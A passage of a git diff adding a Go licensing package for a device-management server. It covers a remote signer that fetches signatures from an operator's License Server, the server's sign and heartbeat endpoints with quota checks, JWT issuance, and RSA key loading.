"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"golang.org/x/sync/singleflight"
|
||||||
|
)
|
||||||
|
|
||||||
|
// RemoteSigner fetches per-login signatures from an operator-hosted License
|
||||||
|
// Server. ServerURL and Token (a JWT issued offline by the operator) are
|
||||||
|
// loaded from YAMA_LICENSE_SERVER / YAMA_LICENSE_TOKEN at startup.
|
||||||
|
//
|
||||||
|
// Cache strategy: every (startTime, clientID) tuple deterministically
|
||||||
|
// produces the same HMAC output. So once we've fetched a signature, we
|
||||||
|
// can serve it from memory for OfflineGrace (default 24h). We do honor the
|
||||||
|
// grace — the operator may want to revoke license / clear cache during
|
||||||
|
// outages — returning a stale signature beyond OfflineGrace defeats the
|
||||||
|
// point of the License Server.
|
||||||
|
//
|
||||||
|
// Thundering herd: on cache miss, concurrent Sign() calls for the same
|
||||||
|
// (startTime, clientID) are coalesced via singleflight so only one HTTPS
|
||||||
|
// round-trip happens. This matters at customer-side restart when many
|
||||||
|
// devices reconnect at the same time.
|
||||||
|
//
|
||||||
|
// Heartbeat: a background ticker POSTs the cached clientID set to
|
||||||
|
// /license/heartbeat every heartbeatInterval. This is what lets the
|
||||||
|
// License Server re-populate its quota view after a restart — without it,
|
||||||
|
// LS's view stays empty (since cache hits never re-fetch /sign).
|
||||||
|
//
|
||||||
|
// On License Server unreachable / non-200: try stale cache; if no cache,
|
||||||
|
// return ("", err). Caller (sendMasterSetting) ships zeroed signature and
|
||||||
|
// the device retries on next reconnect.
|
||||||
|
type RemoteSigner struct {
|
||||||
|
serverURL string
|
||||||
|
token string
|
||||||
|
offlineGrace time.Duration
|
||||||
|
httpClient *http.Client
|
||||||
|
logger Logger
|
||||||
|
sf singleflight.Group
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
cache map[string]cachedSig
|
||||||
|
|
||||||
|
hbDone chan struct{}
|
||||||
|
hbWg sync.WaitGroup
|
||||||
|
}
|
||||||
|
|
||||||
|
type cachedSig struct {
|
||||||
|
sig string
|
||||||
|
fetchedAt time.Time
|
||||||
|
}
|
||||||
|
|
||||||
|
// signRequest mirrors the License Server's POST /license/sign body schema.
|
||||||
|
type signRequest struct {
|
||||||
|
ClientID string `json:"client_id"`
|
||||||
|
StartTime string `json:"start_time"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// signResponse mirrors the License Server's response schema.
|
||||||
|
type signResponse struct {
|
||||||
|
Signature string `json:"signature,omitempty"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// nilLogger drops all log lines; used when callers don't pass a logger so
|
||||||
|
// the RemoteSigner stays safe to use without panic'ing on nil deref.
|
||||||
|
type nilLogger struct{}
|
||||||
|
|
||||||
|
func (nilLogger) Info(string, ...any) {}
|
||||||
|
func (nilLogger) Warn(string, ...any) {}
|
||||||
|
func (nilLogger) Error(string, ...any) {}
|
||||||
|
|
||||||
|
// heartbeatInterval is the period for /license/heartbeat POSTs. 90s is
|
||||||
|
// well below the License Server's 5-minute eviction window (quota.go), so
|
||||||
|
// the customer's devices never get reaped from the LS quota view while
|
||||||
|
// they're still actively heartbeating to it.
|
||||||
|
const heartbeatInterval = 90 * time.Second
|
||||||
|
|
||||||
|
// ValidateRemoteURL returns nil if u is a safe LICENSE_SERVER URL. We
|
||||||
|
// require https:// to keep the JWT and signature off the wire in cleartext;
|
||||||
|
// the only exception is http://localhost / http://127.0.0.1 for testing.
|
||||||
|
func ValidateRemoteURL(raw string) error {
|
||||||
|
u, err := url.Parse(raw)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("not a URL: %w", err)
|
||||||
|
}
|
||||||
|
switch u.Scheme {
|
||||||
|
case "https":
|
||||||
|
return nil
|
||||||
|
case "http":
|
||||||
|
host := u.Hostname()
|
||||||
|
if host == "localhost" || host == "127.0.0.1" || host == "::1" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return fmt.Errorf("http:// scheme exposes JWT in cleartext; use https:// (got %q)", raw)
|
||||||
|
default:
|
||||||
|
return fmt.Errorf("unsupported scheme %q (need https://)", u.Scheme)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewRemote(serverURL, token string, offlineGrace time.Duration, lg Logger) *RemoteSigner {
|
||||||
|
if lg == nil {
|
||||||
|
lg = nilLogger{}
|
||||||
|
}
|
||||||
|
r := &RemoteSigner{
|
||||||
|
serverURL: strings.TrimRight(serverURL, "/"),
|
||||||
|
token: token,
|
||||||
|
offlineGrace: offlineGrace,
|
||||||
|
logger: lg,
|
||||||
|
httpClient: &http.Client{
|
||||||
|
Timeout: 10 * time.Second,
|
||||||
|
},
|
||||||
|
cache: make(map[string]cachedSig),
|
||||||
|
hbDone: make(chan struct{}),
|
||||||
|
}
|
||||||
|
r.hbWg.Add(1)
|
||||||
|
go r.heartbeatLoop()
|
||||||
|
return r
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *RemoteSigner) Sign(startTime, clientID string) (string, error) {
|
||||||
|
key := startTime + "|" + clientID
|
||||||
|
|
||||||
|
// Fresh cache hit: serve from memory, no network.
|
||||||
|
r.mu.Lock()
|
||||||
|
if c, ok := r.cache[key]; ok && time.Since(c.fetchedAt) < r.offlineGrace {
|
||||||
|
sig := c.sig
|
||||||
|
r.mu.Unlock()
|
||||||
|
return sig, nil
|
||||||
|
}
|
||||||
|
r.mu.Unlock()
|
||||||
|
|
||||||
|
// Coalesce concurrent fetches for the same key — protects the License
|
||||||
|
// Server from herd reconnects after a network blip.
|
||||||
|
v, err, _ := r.sf.Do(key, func() (any, error) {
|
||||||
|
return r.fetch(startTime, clientID)
|
||||||
|
})
|
||||||
|
if err == nil {
|
||||||
|
sig := v.(string)
|
||||||
|
r.mu.Lock()
|
||||||
|
r.cache[key] = cachedSig{sig: sig, fetchedAt: time.Now()}
|
||||||
|
r.mu.Unlock()
|
||||||
|
return sig, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hard failure: fall back to stale cache if any. Better to keep an
|
||||||
|
// existing device alive than fail closed during a transient outage.
|
||||||
|
r.mu.Lock()
|
||||||
|
c, ok := r.cache[key]
|
||||||
|
r.mu.Unlock()
|
||||||
|
if ok {
|
||||||
|
age := time.Since(c.fetchedAt).Round(time.Second)
|
||||||
|
r.logger.Warn("RemoteSigner: License Server unreachable (%v); serving stale cache (age=%s) for clientID=%s",
|
||||||
|
err, age, clientID)
|
||||||
|
return c.sig, nil
|
||||||
|
}
|
||||||
|
r.logger.Error("RemoteSigner: License Server unreachable (%v) and no cache for clientID=%s; client will see zeroed signature",
|
||||||
|
err, clientID)
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *RemoteSigner) fetch(startTime, clientID string) (string, error) {
|
||||||
|
body, err := json.Marshal(signRequest{ClientID: clientID, StartTime: startTime})
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
req, err := http.NewRequest("POST", r.serverURL+"/license/sign", bytes.NewReader(body))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
req.Header.Set("Authorization", "Bearer "+r.token)
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
|
resp, err := r.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
|
||||||
|
respBody, err := io.ReadAll(io.LimitReader(resp.Body, 8<<10))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
// 401/403: token rejected — likely revoked or expired.
|
||||||
|
return "", fmt.Errorf("License Server returned %d: %s",
|
||||||
|
resp.StatusCode, string(respBody))
|
||||||
|
}
|
||||||
|
|
||||||
|
var sr signResponse
|
||||||
|
if err := json.Unmarshal(respBody, &sr); err != nil {
|
||||||
|
return "", fmt.Errorf("malformed License Server response: %w", err)
|
||||||
|
}
|
||||||
|
if sr.Error != "" {
|
||||||
|
return "", errors.New(sr.Error)
|
||||||
|
}
|
||||||
|
if sr.Signature == "" {
|
||||||
|
return "", errors.New("License Server returned empty signature")
|
||||||
|
}
|
||||||
|
return sr.Signature, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// heartbeatLoop POSTs the cached clientID set to /license/heartbeat every
|
||||||
|
// heartbeatInterval. Goal: after a License Server restart, the customer's
|
||||||
|
// existing devices get re-counted in the LS quota view without each one
|
||||||
|
// needing to cache-miss /sign first.
|
||||||
|
func (r *RemoteSigner) heartbeatLoop() {
|
||||||
|
defer r.hbWg.Done()
|
||||||
|
ticker := time.NewTicker(heartbeatInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-r.hbDone:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
r.sendHeartbeat()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *RemoteSigner) sendHeartbeat() {
|
||||||
|
// Snapshot the cache's currently-fresh clientIDs.
|
||||||
|
r.mu.Lock()
|
||||||
|
cutoff := time.Now().Add(-r.offlineGrace)
|
||||||
|
ids := make([]string, 0, len(r.cache))
|
||||||
|
for key, c := range r.cache {
|
||||||
|
if c.fetchedAt.Before(cutoff) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// key is "startTime|clientID" — extract clientID for the heartbeat.
|
||||||
|
if _, cid, ok := strings.Cut(key, "|"); ok {
|
||||||
|
ids = append(ids, cid)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
r.mu.Unlock()
|
||||||
|
|
||||||
|
if len(ids) == 0 {
|
||||||
|
return // nothing to report yet
|
||||||
|
}
|
||||||
|
|
||||||
|
body, err := json.Marshal(heartbeatRequest{
|
||||||
|
ActiveDeviceCount: len(ids),
|
||||||
|
ActiveDeviceIDs: ids,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
|
||||||
|
defer cancel()
|
||||||
|
req, err := http.NewRequestWithContext(ctx, "POST",
|
||||||
|
r.serverURL+"/license/heartbeat", bytes.NewReader(body))
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
req.Header.Set("Authorization", "Bearer "+r.token)
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
|
||||||
|
resp, err := r.httpClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
// Transient — don't spam logs every 90s; debug-level if we add one.
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
_, _ = io.Copy(io.Discard, io.LimitReader(resp.Body, 4<<10))
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
r.logger.Warn("RemoteSigner: heartbeat returned %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *RemoteSigner) Mode() string { return "remote" }
|
||||||
|
|
||||||
|
func (r *RemoteSigner) Close() error {
|
||||||
|
select {
|
||||||
|
case <-r.hbDone:
|
||||||
|
// already closed
|
||||||
|
default:
|
||||||
|
close(r.hbDone)
|
||||||
|
}
|
||||||
|
r.hbWg.Wait()
|
||||||
|
r.httpClient.CloseIdleConnections()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
283
server/go/licensing/server.go
Normal file
@@ -0,0 +1,283 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rsa"
|
||||||
|
"encoding/json"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/golang-jwt/jwt/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LicenseServer is the HTTP service the operator's LocalSigner exposes for
|
||||||
|
// RemoteSigner customer deployments. It uses the same LocalSigner instance
|
||||||
|
// (same HMAC master key) to produce signatures so customers can issue
|
||||||
|
// device logins without ever holding the master key themselves.
|
||||||
|
//
|
||||||
|
// Endpoints:
|
||||||
|
//
|
||||||
|
// POST /license/sign
|
||||||
|
// Body: {"client_id": "...", "start_time": "..."}
|
||||||
|
// Auth: Authorization: Bearer <customer-JWT>
|
||||||
|
// Reply: {"signature": "<64-hex>"} (200)
|
||||||
|
// or {"error": "..."} (4xx/5xx)
|
||||||
|
// Enforces quota: claims.max_devices for the JWT's "sub".
|
||||||
|
//
|
||||||
|
// POST /license/heartbeat
|
||||||
|
// Body: {"active_device_count": N, "active_device_ids": ["...","..."]}
|
||||||
|
// Auth: Authorization: Bearer <customer-JWT>
|
||||||
|
// Reply: {"server_view_count": M, "drift": N-M}
|
||||||
|
// Used by the customer's Go server to surface its view; cross-validated
|
||||||
|
// against what /sign has actually been asked for under that customer.
|
||||||
|
// Large drift is logged for anti-tamper review; no automatic revocation
|
||||||
|
// in v1 — operator decides.
|
||||||
|
//
|
||||||
|
// Security: serve plain HTTP and put nginx / Caddy in front for TLS. JWT
|
||||||
|
// "alg" is locked to RS256 in token.go; "alg":"none" tampering is blocked.
|
||||||
|
type LicenseServer struct {
|
||||||
|
signer *LocalSigner
|
||||||
|
pubKey *rsa.PublicKey
|
||||||
|
tracker *quotaTracker
|
||||||
|
logger Logger
|
||||||
|
mux *http.ServeMux
|
||||||
|
}
|
||||||
|
|
||||||
|
// Logger is the minimal logging interface we need. The cmd package's
|
||||||
|
// *logger.Logger satisfies this with its existing Info/Warn methods.
|
||||||
|
type Logger interface {
|
||||||
|
Info(format string, args ...any)
|
||||||
|
Warn(format string, args ...any)
|
||||||
|
Error(format string, args ...any)
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewLicenseServer builds the HTTP handler set. evictAfter is how long a
|
||||||
|
// quiet device keeps its slot before its quota is reclaimed (recommend
|
||||||
|
// 5 min — twice a typical heartbeat interval).
|
||||||
|
func NewLicenseServer(signer *LocalSigner, pubKey *rsa.PublicKey,
|
||||||
|
evictAfter time.Duration, lg Logger) *LicenseServer {
|
||||||
|
s := &LicenseServer{
|
||||||
|
signer: signer,
|
||||||
|
pubKey: pubKey,
|
||||||
|
tracker: newQuotaTracker(evictAfter),
|
||||||
|
logger: lg,
|
||||||
|
mux: http.NewServeMux(),
|
||||||
|
}
|
||||||
|
s.mux.HandleFunc("/license/sign", s.handleSign)
|
||||||
|
s.mux.HandleFunc("/license/heartbeat", s.handleHeartbeat)
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handler returns the http.Handler the operator wires into their HTTP
|
||||||
|
// server (or runs standalone via http.ListenAndServe).
|
||||||
|
func (s *LicenseServer) Handler() http.Handler { return s.mux }
|
||||||
|
|
||||||
|
// authenticate extracts and verifies the bearer JWT. Returns the parsed
|
||||||
|
// claims on success; writes the appropriate HTTP error and returns nil
|
||||||
|
// on failure so the caller can simply `return` on a nil result.
|
||||||
|
func (s *LicenseServer) authenticate(w http.ResponseWriter, r *http.Request) *LicenseClaims {
|
||||||
|
authHdr := r.Header.Get("Authorization")
|
||||||
|
if !strings.HasPrefix(authHdr, "Bearer ") {
|
||||||
|
writeJSONError(w, http.StatusUnauthorized, "missing Bearer token")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
tokenStr := strings.TrimPrefix(authHdr, "Bearer ")
|
||||||
|
claims, err := VerifyJWT(tokenStr, s.pubKey)
|
||||||
|
if err != nil {
|
||||||
|
writeJSONError(w, http.StatusUnauthorized, fmt.Sprintf("invalid token: %v", err))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return claims
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *LicenseServer) handleSign(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
writeJSONError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
claims := s.authenticate(w, r)
|
||||||
|
if claims == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req signRequest
|
||||||
|
if err := readJSONLimited(w, r, maxSignBodyBytes, &req); err != nil {
|
||||||
|
writeJSONError(w, http.StatusBadRequest, fmt.Sprintf("bad request body: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if req.ClientID == "" || req.StartTime == "" {
|
||||||
|
writeJSONError(w, http.StatusBadRequest, "client_id and start_time required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Atomically check + reserve the slot. A rejected request does NOT
|
||||||
|
// consume a slot — see quotaTracker.Reserve.
|
||||||
|
active, accepted := s.tracker.Reserve(claims.Subject, req.ClientID, claims.MaxDevices)
|
||||||
|
if !accepted {
|
||||||
|
s.logger.Warn("License Server: quota exceeded for sub=%s tier=%s active=%d max=%d clientID=%s",
|
||||||
|
claims.Subject, claims.Tier, active, claims.MaxDevices, req.ClientID)
|
||||||
|
writeJSONError(w, http.StatusForbidden,
|
||||||
|
fmt.Sprintf("quota exceeded: %d/%d devices in use", active, claims.MaxDevices))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Mint the signature using the local HMAC master key.
|
||||||
|
sig, err := s.signer.Sign(req.StartTime, req.ClientID)
|
||||||
|
if err != nil {
|
||||||
|
s.logger.Error("License Server: signer failed: %v", err)
|
||||||
|
writeJSONError(w, http.StatusInternalServerError, "signing failed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, http.StatusOK, signResponse{Signature: sig})
|
||||||
|
s.logger.Info("License Server: signed for sub=%s clientID=%s active=%d/%d ttl=%s",
|
||||||
|
claims.Subject, req.ClientID, active, claims.MaxDevices,
|
||||||
|
formatTTL(claims.ttlSinceNow()))
|
||||||
|
}
|
||||||
|
|
||||||
|
type heartbeatRequest struct {
|
||||||
|
ActiveDeviceCount int `json:"active_device_count"`
|
||||||
|
ActiveDeviceIDs []string `json:"active_device_ids"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type heartbeatResponse struct {
|
||||||
|
ServerViewCount int `json:"server_view_count"`
|
||||||
|
Drift int `json:"drift"` // customer count - server view count
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *LicenseServer) handleHeartbeat(w http.ResponseWriter, r *http.Request) {
|
||||||
|
if r.Method != http.MethodPost {
|
||||||
|
writeJSONError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
claims := s.authenticate(w, r)
|
||||||
|
if claims == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
var req heartbeatRequest
|
||||||
|
if err := readJSONLimited(w, r, maxHeartbeatBodyBytes, &req); err != nil {
|
||||||
|
writeJSONError(w, http.StatusBadRequest, fmt.Sprintf("bad request body: %v", err))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// REFRESH-ONLY: only bump activity timestamps for devices already in
|
||||||
|
// the customer's set (i.e. that came through /sign). New IDs reported
|
||||||
|
// here are silently ignored — otherwise a malicious customer could
|
||||||
|
// inflate their quota by POSTing fake IDs to /heartbeat.
|
||||||
|
refreshed := s.tracker.RefreshExisting(claims.Subject, req.ActiveDeviceIDs)
|
||||||
|
|
||||||
|
serverView := len(s.tracker.Snapshot(claims.Subject))
|
||||||
|
drift := req.ActiveDeviceCount - serverView
|
||||||
|
|
||||||
|
// Soft anti-tamper: large persistent drift means the customer reports
|
||||||
|
// devices we never minted signatures for. Log for operator review; no
|
||||||
|
// automatic revocation in v1.
|
||||||
|
if drift > claims.MaxDevices/2 && drift > 5 {
|
||||||
|
s.logger.Warn("License Server: heartbeat drift sub=%s reported=%d server=%d refreshed=%d drift=%d",
|
||||||
|
claims.Subject, req.ActiveDeviceCount, serverView, refreshed, drift)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, http.StatusOK, heartbeatResponse{
|
||||||
|
ServerViewCount: serverView,
|
||||||
|
Drift: drift,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Issue is a small in-process helper for operators to mint customer JWTs
|
||||||
|
// without spinning up a separate tool. It is intentionally unexported as
|
||||||
|
// an HTTP endpoint — JWT issuance is a one-off operator action, not a
|
||||||
|
// remote API. Use it from a cmd/issue-token CLI or interactively.
|
||||||
|
//
|
||||||
|
// Returns the signed RS256 token string.
|
||||||
|
// minTokenTTL guards against fat-finger ttl=0 / negative — those produce
|
||||||
|
// already-expired tokens that 401 immediately and confuse the customer.
|
||||||
|
const minTokenTTL = time.Hour
|
||||||
|
|
||||||
|
func Issue(privKey *rsa.PrivateKey, sub, tier string, maxDevices int, ttl time.Duration) (string, error) {
|
||||||
|
if privKey == nil {
|
||||||
|
return "", errors.New("nil private key")
|
||||||
|
}
|
||||||
|
if sub == "" {
|
||||||
|
return "", errors.New("sub (customer ID) is required")
|
||||||
|
}
|
||||||
|
if ttl < minTokenTTL {
|
||||||
|
return "", fmt.Errorf("ttl too short (%v); minimum is %v", ttl, minTokenTTL)
|
||||||
|
}
|
||||||
|
switch tier {
|
||||||
|
case TierTrial:
|
||||||
|
// Trial: 0 means "use the default 20" (kept consistent with VerifyJWT).
|
||||||
|
if maxDevices <= 0 {
|
||||||
|
maxDevices = TrialMaxDevices
|
||||||
|
}
|
||||||
|
case TierPaid:
|
||||||
|
// Paid: must be explicit. A 0 here is almost certainly a misconfig
|
||||||
|
// and would silently let one customer use unlimited devices.
|
||||||
|
if maxDevices <= 0 {
|
||||||
|
return "", errors.New("paid tier requires explicit max_devices > 0")
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("unsupported tier: %q", tier)
|
||||||
|
}
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
claims := &LicenseClaims{
|
||||||
|
Tier: tier,
|
||||||
|
MaxDevices: maxDevices,
|
||||||
|
RegisteredClaims: jwt.RegisteredClaims{
|
||||||
|
Subject: sub,
|
||||||
|
IssuedAt: jwt.NewNumericDate(now),
|
||||||
|
NotBefore: jwt.NewNumericDate(now),
|
||||||
|
ExpiresAt: jwt.NewNumericDate(now.Add(ttl)),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
tok := jwt.NewWithClaims(jwt.SigningMethodRS256, claims)
|
||||||
|
return tok.SignedString(privKey)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- helpers ----
|
||||||
|
|
||||||
|
// Body size caps. /sign sends a tiny fixed-schema body; /heartbeat carries
|
||||||
|
// a list of clientIDs whose worst case is bounded by the customer's max
|
||||||
|
// device cap (paid is operator-controlled). 64 KiB is roomy for hundreds
|
||||||
|
// of 20-byte IDs while still bounding the worst case.
|
||||||
|
const (
|
||||||
|
maxSignBodyBytes int64 = 8 << 10 // 8 KiB
|
||||||
|
maxHeartbeatBodyBytes int64 = 64 << 10 // 64 KiB
|
||||||
|
)
|
||||||
|
|
||||||
|
// readJSONLimited wraps the body with http.MaxBytesReader so a misconfigured
|
||||||
|
// (or malicious) client cannot OOM the server with a multi-GB payload.
|
||||||
|
// DisallowUnknownFields catches schema drift cleanly.
|
||||||
|
func readJSONLimited(w http.ResponseWriter, r *http.Request, limit int64, dst any) error {
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, limit)
|
||||||
|
dec := json.NewDecoder(r.Body)
|
||||||
|
dec.DisallowUnknownFields()
|
||||||
|
return dec.Decode(dst)
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeJSON(w http.ResponseWriter, status int, v any) {
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
w.WriteHeader(status)
|
||||||
|
_ = json.NewEncoder(w).Encode(v)
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeJSONError(w http.ResponseWriter, status int, msg string) {
|
||||||
|
writeJSON(w, status, signResponse{Error: msg})
|
||||||
|
}
|
||||||
|
|
||||||
|
func formatTTL(d time.Duration) string {
|
||||||
|
if d <= 0 {
|
||||||
|
return "expired"
|
||||||
|
}
|
||||||
|
days := int(d.Hours() / 24)
|
||||||
|
if days > 0 {
|
||||||
|
return fmt.Sprintf("%dd", days)
|
||||||
|
}
|
||||||
|
return d.Round(time.Minute).String()
|
||||||
|
}
|
||||||
|
|
||||||
44
server/go/licensing/signer.go
Normal file
@@ -0,0 +1,44 @@
|
|||||||
|
// Package licensing provides pluggable signing strategies for the per-login
|
||||||
|
// CMD_MASTERSETTING signature. Three modes are picked at startup by env var:
|
||||||
|
//
|
||||||
|
// - LocalSigner (YAMA_SIGN_PASSWORD set): operator's own deployment.
|
||||||
|
// Signs directly with the HMAC master key. Optionally serves as License
|
||||||
|
// Server for RemoteSigner deployments (see server.go) when
|
||||||
|
// YAMA_LICENSE_HTTP_ADDR is also set.
|
||||||
|
//
|
||||||
|
// - RemoteSigner (YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set): customer
|
||||||
|
// deployments. Never sees the HMAC master key — each new device login
|
||||||
|
// does an HTTPS POST to the operator's License Server to fetch a
|
||||||
|
// signature. Successful results are cached for 24h so transient
|
||||||
|
// License Server outages don't break new logins.
|
||||||
|
//
|
||||||
|
// - NoOpSigner (neither set): free-tier mode. Returns empty signature so
|
||||||
|
// the client's private library refuses screen/file features; device
|
||||||
|
// list keeps working.
|
||||||
|
//
|
||||||
|
// The Sign call is on the per-login critical path — keep it fast.
|
||||||
|
// LocalSigner is microseconds (HMAC). RemoteSigner is one HTTPS round-trip
|
||||||
|
// on cache miss (~100-300 ms), zero on cache hit.
|
||||||
|
package licensing
|
||||||
|
|
||||||
|
// Signer produces the per-login signature for CMD_MASTERSETTING.
|
||||||
|
//
|
||||||
|
// Sign returns the 64-char lowercase hex HMAC-SHA256 of "<startTime>|<clientID>"
|
||||||
|
// keyed by the deployment's master HMAC secret. Returning "" means "no
|
||||||
|
// signature available" — sendMasterSetting will ship a zeroed Signature[64]
|
||||||
|
// field, and the client's private library will refuse screen/file init.
|
||||||
|
type Signer interface {
|
||||||
|
// Sign generates the signature for a new device login. SHOULD be quick
|
||||||
|
// (sub-300ms target). Returning ("", nil) is allowed and means "this
|
||||||
|
// deployment doesn't sign" (NoOpSigner). Returning ("", err) means a
|
||||||
|
// transient failure — callers ship zeroed signature and log the error;
|
||||||
|
// the device can retry by reconnecting.
|
||||||
|
Sign(startTime, clientID string) (string, error)
|
||||||
|
|
||||||
|
// Mode returns a short identifier for logging: "local", "remote", "noop".
|
||||||
|
Mode() string
|
||||||
|
|
||||||
|
// Close releases background resources (HTTP keepalives, caches).
|
||||||
|
// Idempotent.
|
||||||
|
Close() error
|
||||||
|
}
|
||||||
114
server/go/licensing/token.go
Normal file
@@ -0,0 +1,114 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rsa"
|
||||||
|
"crypto/x509"
|
||||||
|
"encoding/pem"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/golang-jwt/jwt/v5"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LicenseClaims is the JWT payload the operator signs and ships to each
|
||||||
|
// customer. The operator picks "sub" (a unique customer ID), "tier" (trial
|
||||||
|
// or paid), "max_devices" (concurrent device cap), and "exp" (token
|
||||||
|
// expiry — independent of any in-memory cache TTL on the RemoteSigner
|
||||||
|
// side).
|
||||||
|
type LicenseClaims struct {
|
||||||
|
Tier string `json:"tier"`
|
||||||
|
MaxDevices int `json:"max_devices"`
|
||||||
|
jwt.RegisteredClaims
|
||||||
|
}
|
||||||
|
|
||||||
|
// LoadRSAPublicKey parses an RSA public key from a PEM file. The License
|
||||||
|
// Server loads this once at startup to verify incoming customer JWTs.
|
||||||
|
// Accepts both PKCS#1 ("RSA PUBLIC KEY") and PKIX ("PUBLIC KEY") PEM
|
||||||
|
// encodings — openssl emits PKIX by default; "openssl rsa -RSAPublicKey_out"
|
||||||
|
// emits PKCS#1.
|
||||||
|
func LoadRSAPublicKey(pemPath string) (*rsa.PublicKey, error) {
|
||||||
|
data, err := os.ReadFile(pemPath)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("read public key %s: %w", pemPath, err)
|
||||||
|
}
|
||||||
|
block, _ := pem.Decode(data)
|
||||||
|
if block == nil {
|
||||||
|
return nil, fmt.Errorf("no PEM block in %s", pemPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Try PKIX first (most common output of openssl genrsa | openssl rsa -pubout).
|
||||||
|
if pub, err := x509.ParsePKIXPublicKey(block.Bytes); err == nil {
|
||||||
|
rsaPub, ok := pub.(*rsa.PublicKey)
|
||||||
|
if !ok {
|
||||||
|
return nil, fmt.Errorf("PKIX key in %s is not RSA", pemPath)
|
||||||
|
}
|
||||||
|
return rsaPub, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fall back to PKCS#1.
|
||||||
|
if pub, err := x509.ParsePKCS1PublicKey(block.Bytes); err == nil {
|
||||||
|
return pub, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, fmt.Errorf("failed to parse %s as PKIX or PKCS#1 RSA public key", pemPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
// VerifyJWT validates the customer's JWT against the License Server's
|
||||||
|
// public key. Returns the parsed claims on success. Caller enforces the
|
||||||
|
// tier-specific quota using claims.MaxDevices.
|
||||||
|
